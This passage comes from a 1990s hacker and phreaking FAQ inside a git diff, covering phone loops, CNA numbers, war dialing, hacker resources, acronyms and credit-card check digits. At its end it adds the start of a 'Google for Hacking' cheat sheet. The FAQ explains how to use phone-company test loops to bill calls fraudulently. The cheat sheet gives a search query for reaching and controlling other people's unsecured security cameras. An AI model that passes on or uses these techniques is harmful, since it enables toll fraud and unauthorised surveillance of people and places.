VA +716 981-xxxx Rochester, NY /* Rochester Tel */ +719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO +801 938-xxxx Utah (All) +801 939-xxxx Utah (All) +805 114 Bakersfield/Santa Barbara, CA +813 711 Ft. Meyers/St. Petersburg/Tampa, FL +908 55?-xxxx New Brunswick, NJ +914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY + +Canada: +416 57x-xxxx Toronto, Ontario +416 99x-xxxx Toronto, Ontario +416 999-xxx-xxxx Toronto, Ontario +514 320-xxx-xxxx Montreal, Quebec +613 999-xxx-xxxx Ottawa, Ontario + +Australia: ++61 199 + +United Kingdom: +174 + + +12. What is a loop? + +This FAQ answer is excerpted from: ToneLoc v0.99 User Manual + by Minor Threat & Mucho Maas + +Loops are a pair of phone numbers, usually consecutive, like 836-9998 +and 836-9999. They are used by the phone company for testing. What +good do loops do us? Well, they are cool in a few ways. Here is a +simple use of loops. Each loop has two ends, a 'high' end, and a +'low' end. One end gives a (usually) constant, loud tone when it is +called. The other end is silent. Loops don't usually ring either. +When BOTH ends are called, the people that called each end can talk +through the loop. Some loops are voice filtered and won't pass +anything but a constant tone; these aren't much use to you. Here's +what you can use working loops for: billing phone calls! First, call +the end that gives the loud tone. Then if the operator or someone +calls the other end, the tone will go quiet. Act like the phone just +rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or +what the fuck ever. The operator thinks that she just called you, and +that's it! Now the phone bill will go to the loop, and your local +RBOC will get the bill! Use this technique in moderation, or the loop +may go down. Loops are probably most useful when you want to talk to +someone to whom you don't want to give your phone number. + + +13. What is a loop in my area? + +Many of these loops are no longer functional. If you are local +to any of these loops, please try them out an e-mail me the results +of your research. + +NPA High Low +--- -------- -------- +201 228-9929 228-9930 +201 238-9929 238-9930 +201 251-9929 251-9930 +201 254-9929 254-9930 +201 272-9929 272-9930 +201 330-9929 330-9930 +201 333-9929 333-9930 +201 339-9929 339-9930 +201 347-9929 347-9930 +201 376-9929 376-9930 +201 398-9929 398-9930 +201 467-9929 467-9930 +201 528-9929 528-9930 +201 558-9929 558-9930 +201 559-9929 559-9930 +201 560-9929 560-9930 +201 592-9929 592-9930 +201 625-9929 625-9930 +201 631-9929 631-9930 +201 637-9929 637-9930 +201 655-9929 655-9930 +201 666-9929 666-9930 +201 690-9929 690-9930 +201 761-9929 761-9930 +201 762-9929 762-9929 +201 762-9929 762-9930 +201 762-9929 762-9929 +201 763-9929 763-9930 +201 764-9929 764-9930 +201 767-9929 767-9930 +201 768-9929 768-9930 +201 773-9929 773-9930 +201 879-9929 879-9930 +201 946-9929 946-9930 +201 992-9929 992-9930 +201 993-9929 993-9930 +201 994-9929 994-9930 +213 360-1118 360-1119 +213 365-1118 365-1119 +213 455-0002 455-xxxx +213 455-0002 455-XXXX +213 546-0002 546-XXXX +213 546-0002 546-xxxx +305 778-9952 778-9951 +305 964-9951 964-9952 +312 222-9973 222-9974 +312 234-9973 234-9974 +313 224-9996 224-9997 +313 225-9996 225-9997 +313 234-9996 234-9997 +313 237-9996 237-9997 +313 256-9996 256-9997 +313 272-9996 272-9997 +313 273-9996 273-9997 +313 277-9996 277-9997 +313 281-9996 281-9997 +313 292-9996 292-9997 +313 299-9996 299-9997 +313 321-9996 321-9997 +313 326-9996 326-9997 +313 356-9996 356-9997 +313 362-9996 362-9997 +313 369-9996 369-9997 +313 388-9996 388-9997 +313 397-9996 397-9997 +313 399-9996 399-9997 +313 445-9996 445-9997 +313 465-9996 465-9997 +313 471-9996 471-9997 +313 474-9996 474-9997 +313 477-9996 477-9997 +313 478-9996 478-9997 +313 483-9996 483-9997 +313 497-9996 497-9997 +313 526-9996 526-9997 +313 552-9996 552-9997 +313 556-9996 556-9997 +313 561-9996 561-9997 +313 569-9996 569-9996 +313 575-9996 575-9997 +313 577-9996 577-9997 +313 585-9996 585-9997 +313 591-9996 591-9997 +313 621-9996 621-9997 +313 626-9996 626-9997 +313 644-9996 644-9997 +313 646-9996 646-9997 +313 647-9996 647-9997 +313 649-9996 649-9997 +313 663-9996 663-9997 +313 665-9996 665-9997 +313 683-9996 683-9997 +313 721-9996 721-9997 +313 722-9996 722-9997 +313 728-9996 728-9997 +313 731-9996 731-9997 +313 751-9996 751-9997 +313 776-9996 776-9997 +313 781-9996 781-9997 +313 787-9996 787-9997 +313 822-9996 822-9997 +313 833-9996 833-9997 +313 851-9996 851-9997 +313 871-9996 871-9997 +313 875-9996 875-9997 +313 886-9996 886-9997 +313 888-9996 888-9997 +313 898-9996 898-9997 +313 934-9996 934-9997 +313 942-9996 942-9997 +313 963-9996 963-9997 +313 977-9996 977-9997 +313 995-9996 995-9997 +402 422-0001 422-0002 +402 422-0005 422-0006 +402 422-0007 422-0008 +402 422-0003 422-0004 +402 422-0005 422-0006 +402 422-0007 422-0008 +402 422-0009 ALL-PREF +402 422-0003 422-0004 +402 422-0009 ALL-PREF +402 422-0001 422-0002 +402 572-0003 572-0004 +517 422-9996 422-9997 +517 423-9996 423-9997 +517 455-9996 455-9997 +517 563-9996 563-9997 +517 663-9996 663-9997 +517 851-9996 851-9997 +609 921-9929 921-9930 +609 994-9929 994-9930 +616 997-9996 997-9997 +616 ALL-PREF ALL-PREF +713 224-1499 759-1799 +713 324-1499 324-1799 +713 342-1499 342-1799 +713 351-1499 351-1799 +713 354-1499 354-1799 +713 356-1499 356-1799 +713 442-1499 442-1799 +713 447-1499 447-1799 +713 455-1499 455-1799 +713 458-1499 458-1799 +713 462-1499 462-1799 +713 466-1499 466-1799 +713 468-1499 468-1799 +713 469-1499 469-1799 +713 471-1499 471-1799 +713 481-1499 481-1799 +713 482-1499 482-1799 +713 484-1499 484-1799 +713 487-1499 487-1799 +713 489-1499 489-1799 +713 492-1499 492-1799 +713 493-1499 493-1799 +713 524-1499 524-1799 +713 526-1499 526-1799 +713 555-1499 555-1799 +713 661-1499 661-1799 +713 664-1499 664-1799 +713 665-1499 665-1799 +713 666-1499 666-1799 +713 667-1499 667-1799 +713 682-1499 976-1799 +713 771-1499 771-1799 +713 780-1499 780-1799 +713 781-1499 997-1799 +713 960-1499 960-1799 +713 977-1499 977-1799 +713 988-1499 988-1799 +714 535-1118 535-1119 +714 538-1118 538-1119 +714 858-1118 858-1119 +714 879-1118 879-1119 +805 528-0044 528-0045 +805 544-0044 544-0045 +805 773-0044 773-0045 +813 385-9971 +908 776-9930 776-9930 + + +14. What is a CNA number? + +CNA stands for Customer Name and Address. The CNA number is a phone +number for telephone company personnel to call and get the name and +address for a phone number. If a telephone lineman finds a phone line +he does not recognize, he can use the ANI number to find it's phone +number and then call the CNA operator to see who owns it and where +they live. + +Normal CNA numbers are available only to telephone company personnel. +Private citizens may now legally get CNA information from private +companies. Two such companies are: + +Unidirectory (900)933-3330 +Telename (900)884-1212 + +Note that these are 900 numbers, and will cost you approximately one +dollar per minute. + + +15. What is the telephone company CNA number for my area? + +203 203-771-8080 CT (All) +614 614-464-0123 Columbus/Steubenville, OH +813 813-270-8711 Ft. Meyers/St. Petersburg/Tampa, FL + + +16. What is scanning? + +Scanning is dialing a large number of telephone numbers in the hope +of finding interesting carriers (computers) or tones. + +Scanning can be done by hand, although dialing several thousand +telephone numbers by hand is extremely boring and takes a long time. + +Much better is to use a scanning program, sometimes called a war +dialer or a demon dialer. Currently, the best war dialer available +to PC-DOS users is ToneLoc .99b8. + +A war dialer will dial a range of numbers and log what it finds at +each number. You can then only dial up the numbers that the war +dialer marked as carriers or tones. + + +17. Is scanning illegal? + +Excerpt from: 2600, Spring 1990, Page 27: + +-BQ- +In some places, scanning has been made illegal. It would be hard, +though, for someone to file a complaint against you for scanning since +the whole purpose is to call every number once and only once. It's +not likely to be thought of as harassment by anyone who gets a single +phone call from a scanning computer. Some central offices have been +known to react strangely when people start scanning. Sometimes you're +unable to get a dialtone for hours after you start scanning. But +there is no uniform policy. The best thing to do is to first find out +if you've got some crazy law saying you can't do it. If, as is +likely, there is no such law, the only way to find out what happens is +to give it a try. +-EQ- + +It should be noted that a law making scanning illegal was recently +passed in Colorado Springs, CO. It is now illegal to place a call +in Colorado Springs without the intent to communicate. + + +18. Where can I purchase a lineman's handset? + +Time Motion Tools +12778 Brookprinter Place +Poway, CA 92064 +(619)679-0303 + +Contact East +335 Willow Street +North Andover, MA 01845-5995 +(508)682-2000 + + + +DTMF stands for Dual Tone Multi Frequency. These are the tones you +get when you press a key on your telephone touchpad. The tone of the +button is the sum of the column and row tones. The ABCD keys do not +exist on standard telephones. + + 1209 1336 1477 1633 + + 697 1 2 3 A + + 770 4 5 6 B + + 852 7 8 9 C + + 941 * 0 # D + + + + +Section C: Resources +~~~~~~~~~~~~~~~~~~~~ + + +01. What are some ftp sites of interest to hackers? + +aql.gatech.edu +bellcore.com +cert.org +crimelab.com +cyberspace.com +deimos.cs.uah.edu +freeside.com +ftp.csua.berkeley.edu /pub/cypherpunks +ftp.eff.org /pub/cud +ftp.etext.org +ftp.mcs.com /mcsnet.users/crisadm/stuff/research/samples +ftp.netcom.com /pub/bradleym +ftp.netcom.com /pub/zzyzx +ftp.rahul.net /pub/lps +ftp.std.com /obi/Mischief/ +ftp.std.com /archives/alt.locksmithing +ftp.warwick.ac.uk +ftp.win.tue.nl +ftp.winternet.com /users/craigb +garbo.uwasa.fi /pc/crypt +ghost.dsi.unimi.it /pub/crypt +grind.isca.uiwa.edu +hack-this.pc.cc.cmu.edu +halcyon.com +ideal.ios.net +lcs.mit.edu /* Telecom archives */ +mary.iia.org /pub/users/patriot +nic.funet.fi /pub/doc/cud +paradox1.denver.colorado.edu /anonymous/text-files/pyrotechnics/ +pyrite.rutgers.edu +ripem.msu.edu /pub/crypt +rtfm.mit.edu +sekurity.com +spy.org +theta.iis.u-tokyo.ac.jp /pub1/security +vincent2.iastate.edu login: anonymous.mabell /* Closed for the Summer */ +wimsey.bc.ca /pub/crypto + +Here is the list again, this time in .netrc format: + +machine aql.gatech.edu +login anonymous +password root@ + +machine bellcore.com +login anonymous +password root@ + +machine cert.org +login anonymous +password root@ + +machine crimelab.com +login anonymous +password root@ + +machine cyberspace.com +login anonymous +password root@ + +machine deimos.cs.uah.edu +login anonymous +password root@ + +machine ftp.csua.berkeley.edu +login anonymous +password root@ + +machine ftp.eff.org +login anonymous +password root@ + +machine ftp.etext.org +login anonymous +password root@ + +machine ftp.mcs.com +login anonymous +password root@ + +machine ftp.netcom.com +login anonymous +password root@ + +machine ftp.netcom.com +login anonymous +password root@ + +machine ftp.rahul.net +login anonymous +password root@ + +machine ftp.std.com +login anonymous +password root@ + +machine ftp.std.com +login anonymous +password root@ + +machine ftp.warwick.ac.uk +login anonymous +password root@ + +machine ftp.win.tue.nl +login anonymous +password root@ + +machine ftp.winternet.com +login anonymous +password root@ + +machine garbo.uwasa.fi +login anonymous +password root@ + +machine ghost.dsi.unimi.it +login anonymous +password root@ + +machine grind.isca.uiwa.edu +login anonymous +password root@ + +machine hack-this.pc.cc.cmu.edu +login anonymous +password root@ + +machine halcyon.com +login anonymous +password root@ + +machine ideal.ios.net +login anonymous +password root@ + +machine lcs.mit.edu +login anonymous +password root@ + +machine mary.iia.org +login anonymous +password root@ + +machine nic.funet.fi +login anonymous +password root@ + +machine paradox1.denver.colorado.edu +login anonymous +password root@ + +machine ripem.msu.edu +login anonymous +password root@ + +machine pyrite.rutgers.edu +login anonymous +password root@ + +machine rtfm.mit.edu +login anonymous +password root@ + +machine sekurity.com +login anonymous +password root@ + +machine spy.org +login anonymous +password root@ + +machine theta.iis.u-tokyo.ac.jp +login anonymous +password root@ + +machine vincent2.iastate.edu +login anonymous +password mabell + +machine wimsey.bc.ca +login anonymous +password root@ + + +02. What are some newsgroups of interest to hackers? + +alt.2600 Do it 'til it hertz +alt.2600.hope.tech Technology concerns for Hackers on Planet Earth 1994 +alt.cellular +alt.dcom.telecom +alt.hackers Descriptions of projects currently under + development (Moderated) +alt.locksmithing You locked your keys in *where*? +alt.hackers.malicious The really bad guys - don't take candy from them +alt.security Security issues on computer systems +alt.security.index Pointers to good stuff in misc.security (Moderated) +alt.security.keydist Exchange of keys for public key encryption systems +alt.security.pgp The Pretty Good Privacy package +alt.security.ripem A secure email system illegal to export from the US +comp.dcom.cellular +comp.dcom.telcom.tech +comp.dcom.telecom Telecommunications digest (Moderated) +comp.dcom.telecom.tech +comp.org.cpsr.announce +comp.org.cpsr.talk +comp.org.eff +comp.org.eff +comp.risks +comp.security.announce +comp.security.misc Security issues of computers and networks +comp.security.unix Discussion of Unix security +comp.virus Computer viruses & security (Moderated) +misc.security Security in general, not just computers (Moderated) +rec.pyrotechnics +sci.crypt Different methods of data en/decryption + + +03. What are some telnet sites of interest to hackers? + +phred.pc.cc.cmu.edu + + +04. What are some gopher sites of interest to hackers? + +gopher@cpsr.org +gopher.eff.org +gopher.wired.com +wiretap.spies.com + + +05. What are some World wide Web (WWW) sites of interest to hackers? + +http://crimelab.com//bugtraq/bugtraq/html +http://cs.purdue.edu/homes/spaf/coast.html +http://cs.purdue.edu/homes/spaf/pcert.html +http://dfw.net/~aleph1 +http://first.org +http://l0pht.com +http://tamsun.tamu.edu/~clm3840/hacking.html/ +http://tansu.com.au/Info/security.html +http://www.achilles.net/~pluvius +http://www.cis.ksu.edu/~psiber +http://www.tis.com/ +http://www.cpsr.org/home +http://www.iia.org/~gautier/me.html +http://www.engin.umich.edu/~jgotts/underground.html +http://www.net23.com +http: /www.paranoia.com /defcon +http://www.phantom.com/~king +http://www.spy.org /Security/Local/News +http://www.wired.com + + +06. What are some IRC channels of interest to hackers? + +#2600 +#hack +#phreak +#linux +#root +#unix +#warez + + +07. What are some BBS's of interest to hackers? + +Home BBS (303)343-4053 +fARM R0Ad 666 (713)855-0261 +Corrupt Sekurity (303)753-1719 + + +08. What books are available on this subject? + + +General Computer Security +~~~~~~~~~~~~~~~~~~~~~~~~~ +Computer Security Basics +Author: Deborah Russell and G.T. Gengemi Sr. +Publisher: O'Reilly & Associates, Inc. +Copyright Date: 1991 +ISBN: 0-937175-71-4 + + This is an excellent book. It gives a broad overview of + computer security without sacrificing detail. A must read for + the beginning security expert. + +Computer Security Management +Author: Karen Forcht +Publisher: Boyd and Fraser +Copyright Date: 1994 +ISBN: 0-87835-881-1 + +Information Systems Security +Author: Philip Fites and Martin Kratz +Publisher: Van Nostrad Reinhold +Copyright Date: 1993 +ISBN: 0-442-00180-0 + + +Unix System Security +~~~~~~~~~~~~~~~~~~~~ +Practical Unix Security +Author: Simson Garfinkel and Gene Spafford +Publisher: O'Reilly & Associates, Inc. +Copyright Date: 1991 +ISBN: 0-937175-72-2 + + Finally someone with a very firm grasp of Unix system security + gets down to writing a book on the subject. Buy this book. + Read this book. + +Firewalls and Internet Security +Author: William Cheswick and Steven Bellovin +Publisher: Addison Wesley +Copyright Date: 1994 +ISBN: 0-201-63357-4 + +Unix System Security +Author: Rik Farrow +Publisher: Addison Wesley +Copyright Date: 1991 +ISBN: 0-201-57030-0 + +Unix Security: A Practical Tutorial +Author: N. Derek Arnold +Publisher: McGraw Hill +Copyright Date: 1993 +ISBN: 0-07-002560-6 + +Unix System Security: A Guide for Users and Systems Adiministrators +Author: David A. Curry +Publisher: Addison-Wesley +Copyright Date: 1992 +ISBN: 0-201-56327-4 + +Unix System Security +Author: Patrick H. Wood and Stephen G. Kochan +Publisher: Hayden Books +Copyright Date: 1985 +ISBN: 0-672-48494-3 + + +Network Security +~~~~~~~~~~~~~~~~ +Network Security Secrets +Author: David J. Stang and Sylvia Moon +Publisher: IDG Books +Copyright Date: 1993 +ISBN: 1-56884-021-7 + + Not a total waste of paper, but definitely not worth the + $49.95 purchase price. The book is a rehash of previously + published information. The only secret we learn from reading + the book is that Sylvia Moon is a younger woman madly in love + with the older David Stang. + +Complete Lan Security and Control +Author: Peter Davis +Publisher: Windcrest / McGraw Hill +Copyright Date: 1994 +ISBN: 0-8306-4548-9 and 0-8306-4549-7 + +Network Security +Author: Steven Shaffer and Alan Simon +Publisher: AP Professional +Copyright Date: 1994 +ISBN: 0-12-638010-4 + + +Cryptography +~~~~~~~~~~~~ +Applied Cryptography: Protocols, Algorithms, and Source Code in C +Author: Bruce Schneier +Publisher: John Wiley & Sons +Copyright Date: 1994 +ISBN: 0-471-59756-2 + + Bruce Schneier's book replaces all other texts on + cryptography. If you are interested in cryptography, this is + a must read. This may be the first and last book on + cryptography you may ever need to buy. + +Cryptography and Data Security +Author: Dorothy Denning +Publisher: Addison-Wesley Publishing Co. +Copyright Date: 1982 +ISBN: 0-201-10150-5 + +Programmed Threats +~~~~~~~~~~~~~~~~~~ +The Little Black Book of Computer Viruses +Author: Mark Ludwig +Publisher: American Eagle Publications +Copyright Date: 1990 +ISBN: 0-929408-02-0 + + The original, and still the best, book on computer viruses. + No media hype here, just good clean technical information. + +Computer Viruses, Artificial Life and Evolution +Author: Mark Ludwig +Publisher: American Eagle Publications +Copyright Date: 1993 +ISBN: 0-929408-07-1 + +Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other + Threats to Your System +Author: John McAfee and Colin Haynes +Publisher: St. Martin's Press +Copyright Date: 1989 +ISBN: 0-312-03064-9 and 0-312-02889-X + + +Hacking History and Culture +~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The Hacker Crackdown: Law and Disorder on the Electronic Frontier +Author: Bruce Sterling +Publisher: Bantam Books +Copyright Date: 1982 +ISBN: 0-553-56370-X + + Bruce Sterling has recently released the book FREE to the net. + The book is much easier to read in print form, and the + paperback is only $5.99. Either way you read it, you will be + glad you did. Mr. Sterling is an excellent science fiction + author and has brought his talent with words to bear on the + hacking culture. A very enjoyable reading experience. + +Cyberpunk +Author: Katie Hafner and John Markoff +Publisher: Simon and Schuster +Copyright Date: 1991 +ISBN: 0-671-77879-X + +The Cuckoo's Egg +Author: Cliff Stoll +Publisher: Simon and Schuster +Copyright Date: 1989 +ISBN: 0-671-72688-9 + +Hackers: Heroes of the Computer Revolution +Author: Steven Levy +Publisher: Doubleday +Copyright Date: 1984 +ISBN: 0-440-13495-6 + + +Unclassified +~~~~~~~~~~~~ +The Hacker's Handbook +Author: Hugo Cornwall +Publisher: E. Arthur Brown Company +Copyright Date: +ISBN: 0-912579-06-4 + +Secrets of a Super Hacker +Author: The Knightmare +Publisher: Loompanics +Copyright Date: 1994 +ISBN: 1-55950-106-5 + + The Knightmare is no super hacker. There is little or no real + information in this book. The Knightmare gives useful advice + like telling you not to dress up before going trashing. + The Knightmare's best hack is fooling Loompanics into + publishing this garbage. + +The Day The Phones Stopped +Author: Leonard Lee +Publisher: Primus / Donald I Fine, Inc. +Copyright Date: 1992 +ISBN: 1-55611-286-6 + + Total garbage. Paranoid delusions of a lunatic. Less factual + data that an average issue of the Enquirer. + +Information Warfare +Author: Winn Swartau +Publisher: Thunder Mountain Press +Copyright Date: 1994 +ISBN: 1-56025-080-1 + + +09. What are some mailing lists of interest to hackers? + +Academic Firewalls +Reflector Address: +Registration Address: Send a message to majordomo@greatcircle.com + containing the line "subscribe firewalls user@host" + +Bugtraq +Reflector Address: bugtraq@crimelab.com +Registration Address: bugtraq-request@crimelab.com + +Cert Tools +Reflector Address: cert-tools@cert.org +Registration Address: cert-tools-request@cert.org + +Computers and Society +Reflector Address: Comp-Soc@limbo.intuitive.com +Registration Address: taylor@limbo.intuitive.com + +Coordinated Feasibility Effort to Unravel State Data +Reflector Address: ldc-sw@cpsr.org +Registration Address: + +CPSR Announcement List +Reflector Address: cpsr-announce@cpsr.org +Registration Address: + +CPSR - Intellectual Property +Reflector Address: cpsr-int-prop@cpsr.org +Registration Address: + +CPSR - Internet Library +Reflector Address: cpsr-library@cpsr.org +Registration Address: + +Macintosh Security +Reflector Address: mac-security@eclectic.com +Registration Address: mac-security-request@eclectic.com + +NeXT Managers +Reflector Address: +Registration Address: next-managers-request@stolaf.edu + +rfc931-users +Reflector Address: rfc931-users@kramden.acf.nyu.edu +Registration Address: brnstnd@nyu.edu + +RSA Users +Reflector Address: rsaref-users@rsa.com +Registration Address: rsaref-users-request@rsa.com + + +10. What are some print magazines of interest to hackers? + +2600 - The Hacker Quarterly +~~~~~~~~~~~~~~~~~~~~~~~~~~~ +E-mail address: 2600@well.sf.ca.us + +Subscription Address: 2600 Subscription Dept + PO Box 752 + Middle Island, NY 11953-0752 + +Letters and article submission address: 2600 Editorial Dept + PO Box 99 + Middle Island, NY 11953-0099 + +Subscriptions: United States: $21/yr individual, $50 corporate. + Overseas: $30/yr individual, $65 corporate. + + +Gray Areas +~~~~~~~~~~ +Gray Areas +PO Box 808 +Broomall, PA 19008 + +Subscriptions: $18/yr + + +Wired +~~~~~ +Subscription Address: subscriptions@wired.com + or: Wired + PO Box 191826 + San Francisco, CA 94119-9866 + +Letters and article submission address: guideleines@wired.com + or: Wired + 544 Second Street + San Francisco, CA 94107-1427 + +Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas) + + +11. What are some organizations of interest to hackers? + +Computer Professionals for Social Responsibility (CPSR) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +CPSR empowers computer professionals and computer users to advocate +for the responsible use of information technology and empowers all who +use computer technology to participate in the public debate. As +technical experts, CPSR members provide the public and policymakers +with realistic assessments of the power, promise, and limitations of +computer technology. As an organization of concerned citizens, CPSR +directs public attention to critical choices concerning the +applications of computing and how those choices affect society. + +By matching unimpeachable technical information with policy +development savvy, CPSR uses minimum dollars to have maximum impact +and encourages broad public participation in the shaping of technology +policy. + +Every project we undertake is based on five principles: + +* We foster and support public discussion of and public + responsibility for decisions involving the use of computers in + systems critical to society. + +* We work to dispel popular myths about the infallibility of + technological systems. + +* We challenge the assumption that technology alone can solve + political and social problems. + +* We critically examine social and technical issues within the + computer profession, nationally and internationally. + +* We encourage the use of computer technology to improve the quality + of life. + +CPSR Membership Categories + 75 REGULAR MEMBER + 50 Basic member + 200 Supporting member + 500 Sponsoring member +1000 Lifetime member + 20 Student/low income member + 50 Foreign subscriber + 50 Library/institutional subscriber + +CPSR National Office +P.O. Box 717 +Palo Alto, CA 94301 +415-322-3778 +415-322-3798 (FAX) +E-mail: cpsr@csli.stanford.edu + + +Electronic Frontier Foundation (EFF) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The Electronic Frontier Foundation (EFF) is dedicated to the pursuit +of policies and activities that will advance freedom and openness in +computer-based communications. It is a member-supported, nonprofit +group that grew from the conviction that a new public interest +organization was needed in the information age; that this organization +would enhance and protect the democratic potential of new computer +communications technology. From the beginning, the EFF determined to +become an organization that would combine technical, legal, and public +policy expertise, and would apply these skills to the myriad issues +and concerns that arise whenever a new communications medium is born. + +Memberships are $20.00 per year for students, $40.00 per year for +regular members, and $100.00 per year for organizations. + +The Electronic Frontier Foundation, Inc. +666 Pennsylvania Avenue S.E., Suite 303 +Washington, D.C. 20003 ++1 202 544 9237 ++1 202 547 5481 FAX +Internet: eff@eff.org + + +Free Software Foundation (FSF) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + +GNU +~~~ + + +The League for Programming Freedom (LPF) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +The League for Programming Freedom is an organization of people who +oppose the attempt to monopolize common user interfaces through "look +and feel" copyright lawsuits. Some of us are programmers, who worry +that such monopolies will obstruct our work. Some of us are users, +who want new computer systems to be compatible with the interfaces we +know. Some are founders of hardware or software companies, such as +Richard P. Gabriel. Some of us are professors or researchers, +including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. +Boyer and Patrick Winston. + +"Look and feel" lawsuits aim to create a new class of government- +enforced monopolies broader in scope than ever before. Such a system +of user-interface copyright would impose gratuitous incompatibility, +reduce competition, and stifle innovation. + +We in the League hope to prevent these problems by preventing +user-interface copyright. The League is NOT opposed to copyright law +as it was understood until 1986 -- copyright on particular programs. +Our aim is to stop changes in the copyright system which would take +away programmers' traditional freedom to write new programs compatible +with existing programs and practices. + +Annual dues for individual members are $42 for employed professionals, +$10.50 for students, and $21 for others. We appreciate activists, but +members who cannot contribute their time are also welcome. + +To contact the League, phone (617) 243-4091, send Internet mail to the +address league@prep.ai.mit.edu, or write to: + +League for Programming Freedom +1 Kendall Square #143 +P.O. Box 9171 +Cambridge, MA 02139 USA + + +SotMesc +~~~~~~~ +Founded in 1989, SotMesc is dedicated to preserving the integrity and +cohesion of the computing society. By promoting computer education, +liberties and efficiency, we believe we can secure freedoms for all +computer users while retaining privacy. + +SotMesc maintains the CSP Internet mailing list, the SotMesc +Scholarship Fund, and the SotMesc Newsletter. + +The SotMESC is financed partly by membership fees, and donations, but +mostly by selling hacking, cracking, phreaking, electronics, internet, +and virus information and programs on disk and bound paper media. + +SotMesc memberships are $20 to students and $40 to regular members. + +SotMESC +P.O. Box 573 +Long Beach, MS 39560 + + + + +Section D: 2600 +~~~~~~~~~~~~~~~ + +01. What is alt.2600? + +Alt.2600 is a Usenet newsgroup for discussion of material relating to +2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 +game machine. Len@netsys.com created the group on Emmanual +Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 +Magazine. Following the barrage of postings about the Atari machine to +alt.2600, an alt.atari.2600 was created to divert all of the atari +traffic from alt.2600. Atari 2600 people are advised to hie over to +rec.games.video.classic. + + +02. What does "2600" mean? + + 2600Hz was a tone that was used by early phone phreaks (or +phreakers) in the 80's, and some currently. If the tone was sent down the +line at the proper time, one could get away with all sorts of fun stuff. + +A note from Emmanuel Goldstein: + +"The Atari 2600 has NOTHING to do with blue boxes or telephones +or the 2600 hertz tone. The 2600 hertz tone was simply the first +step towards exploring the network. If you were successful at +getting a toll call to drop, then billing would stop at that +point but there would be billing for the number already dialed +up until the point of seizure. 800 numbers and long distance +information were both free in the past and records of who called +what were either non-existent or very obscure with regards to +these numbers. This, naturally, made them more popular than +numbers that showed up on a bill, even if it was only for +a minute. Today, many 800 numbers go overseas, which provides +a quick and free way into another country's phone system +which may be more open for exploration." + + +03. Are there on-line versions of 2600 available? + + No. + + +04. I can't find 2600 at any bookstores. What can I do? + +Subscribe. Or, let 2600 know via the subscription address that you +think 2600 should be in the bookstore. Be sure to include the +bookstores name and address. + + +05. Why does 2600 cost more to subscribe to than to buy at a newsstand? + +A note from Emmanuel Goldstein: + + We've been selling 2600 at the same newsstand price ($4) since 1988 + and we hope to keep it at that price for as long as we can get away + with it. At the same time, $21 is about the right price to cover + subscriber costs, including postage and record keeping, etc. People + who subscribe don't have to worry about finding an issue someplace, + they tend to get issues several weeks before the newsstands get + them, and they can take out free ads in the 2600 Marketplace. + + + + +Section E: Miscellaneous +~~~~~~~~~~~~~~~~~~~~~~~~ + +01. What does XXX stand for? + +TLA Three Letter Acronym + +ACL Access Control List +PIN Personal Identification Number +TCB Trusted Computing Base + +ALRU Automatic Line Record Update +AN Associated Number +ARSB Automated Repair Service Bureau +ATH Abbreviated Trouble History +BOC Bell Operating Company +BOR Basic Output Report +CA Cable +COE Central Office Equipment +CMC Construction Maintenance Center +CNID Calling Number IDentification +CO Central Office +COCOT Customer Owned Coin Operated Telephone +CRSAB Centralized Repair Service Answering Bureau +DDD Direct Distance Dialing +ECC Enter Cable Change +LD Long Distance +LMOS Loop Maintenance Operations System +MLT Mechanized Loop Testing +NPA Numbering Plan Area +POTS Plain Old Telephone Service +RBOC Regional Bell Operating Company +RSB Repair Service Bureau +SS Special Service +TAS Telephone Answering Service +TH Trouble History +TREAT Trouble Report Evaluation and Analysis Tool + +FLT Fairlight +NTA The Nocturnal Trading Alliance +PDX Paradox +PE Public Enemy +QTX Quartex +S!P Supr!se Productions +TDT The Dream Team +THG The Humble Guys +THP The Hill People +TRSI Tristar Red Sector Inc. + + +02. How do I determine if I have a valid credit card number? + +Credit cards us the Luhn Check Digit Algorithm. The main purpose of +this algorithm is to catch data entry errors, but it does double duty +here as a weak security tool. + +For a card with an even number of digits, double every odd digit and +subtract 9 if the product is greater than 10. Add up all the even +digits as well as the doubled-odd digits, and the result must be a +multiple of 10 or it's not a valid card. If the card has an odd +number of digits, perform the same addition doubling the even digits +instead. + + +03. Where can I get a copy of the #hack FAQ? + +Find it on FTP at: +rahul.net /pub/lps + +Find it on World Wide Web at: +http://dfw.net/~aleph1 +http://www.engin.umich.edu/~jgotts/underground.html +http://www.phantom.com/~king + +Find it with Finger at: +will@gnu.ai.mit.edu + + + +EOT +-- +\* Will Spencer : The advancement and diffusion of knowledge *\ +\* Unix geek : is the only guardian of true liberty. *\ +\* PC guru : -- James Madison *\ +\* Revolutionary : 4th U.S. President *\ + diff --git a/src/Security/Technical Papers and Notes/Docs/Google Cheat sheet 1.txt b/src/Security/Technical Papers and Notes/Docs/Google Cheat sheet 1.txt new file mode 100755 index 0000000..ebc8f90 --- /dev/null +++ b/src/Security/Technical Papers and Notes/Docs/Google Cheat sheet 1.txt @@ -0,0 +1,140 @@ + +How to use Google for Hacking. + +Google serves almost 80 percent of all search queries on the Internet, proving itself as the most popular search engine. However Google makes it possible to reach not only the publicly available information resources, but also gives access to some of the most confidential information that should never have been revealed. In this post I will show how to use Google for exploiting security vulnerabilities within websites. The following are some of the hacks that can be accomplished using Google. +1. Hacking Security Cameras + +There exists many security cameras used for monitoring places like parking lots, college campus, road traffic etc. which can be hacked using Google so that you can view the images captured by those cameras in real time. All you have to do is use the following search query in Google. Type in Google search box exactly as follows and hit enter + +inurl:โ€viewerframe?mode=motionโ€ + +Click on any of the search results (Top 5 recommended) and you will gain access to the live camera which has full controls. + +you now have access to the Live cameras which work in real-time. You can also move the cameras in all the four directions, perform actions such as zoom in and zoom out. This camera has really a less refresh rate. But there are other search queries through which you can gain access to other cameras which have faster refresh rates. So to access them just use the following search query. + 